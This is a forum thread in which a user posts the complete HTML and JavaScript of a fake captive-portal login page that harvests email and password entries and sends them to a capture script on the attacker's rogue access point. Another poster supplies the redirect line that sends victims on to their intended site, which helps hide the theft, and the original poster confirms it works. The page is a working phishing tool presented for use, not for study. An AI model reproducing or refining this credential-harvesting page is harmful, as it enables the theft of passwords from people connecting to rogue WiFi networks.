d0n350n Posted September 21, 2014 Share Posted September 21, 2014 Help!!! I need the code for the authtarget so that the client goes to the site they actually wanted. Any takers? <html><CENTER> <head> <title>$gatewayname Entry</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-cache"> <script type="text/javascript"> function ajaxRequest() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if (window.ActiveXObject) { return new ActiveXObject("Microsoft.XMLHTTP"); } else { return false; } } function sendInfo() { var xmlhttp = new ajaxRequest(); document.getElementById("results").innerHTML="<p><i></i></p>"; var usernamevalue=encodeURIComponent(document.getElementById("username").value) var passwordvalue=encodeURIComponent(document.getElementById("password").value) var parameters="username="+usernamevalue+"&password="+passwordvalue xmlhttp.open("POST", "http://172.16.42.1/capture2.php", true) xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded") xmlhttp.send(parameters) } </script> </head> <body bgcolor="white"> <div id="results"><p><i></i></p></div> <table style="background-image:url(http://172.16.42.1/multi_logs_2.png);background-repeat:no-repeat;background-position:center center;border:0px solid black;width:800px;height:600px;"> <TR> <TD width="42%" height="10%"></td> <TD width="58%" height="10%"></td> </tr> <tr> <TD width="42%" height="90%"></td> <TD width="58%" height="90%"> <form id="pish" method="POST" action="http://172.16.42.1/capture2.php"> <b>Email or Username:</b><BR><input type="text" name="username" id="username"><br /> <b>Password:</b><BR><input type="password" name="password" id="password"><br /> <br> <button type="button" onclick="sendInfo();return false;">Submit Info</button> </form> </TD></TR></TABLE> </body> </html> Quote Link to comment Share on other sites More sharing options...
newbi3 Posted September 21, 2014 Share Posted September 21, 2014 (edited) Please put your code in the [ " code " ] [ "/code" ] tags (remove the ""). It is to hard to read otherwise Put this in your function after you send the info: window.location = "$authtarget"; Edited September 21, 2014 by newbi3 Quote Link to comment Share on other sites More sharing options...
d0n350n Posted September 21, 2014 Author Share Posted September 21, 2014 Please put your code in the [ " code " ] [ "/code" ] tags (remove the ""). It is to hard to read otherwise Put this in your function after you send the info: window.location = "$authtarget"; Thanks Again, It worked!!! But you kinda lost me with the code removal... Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.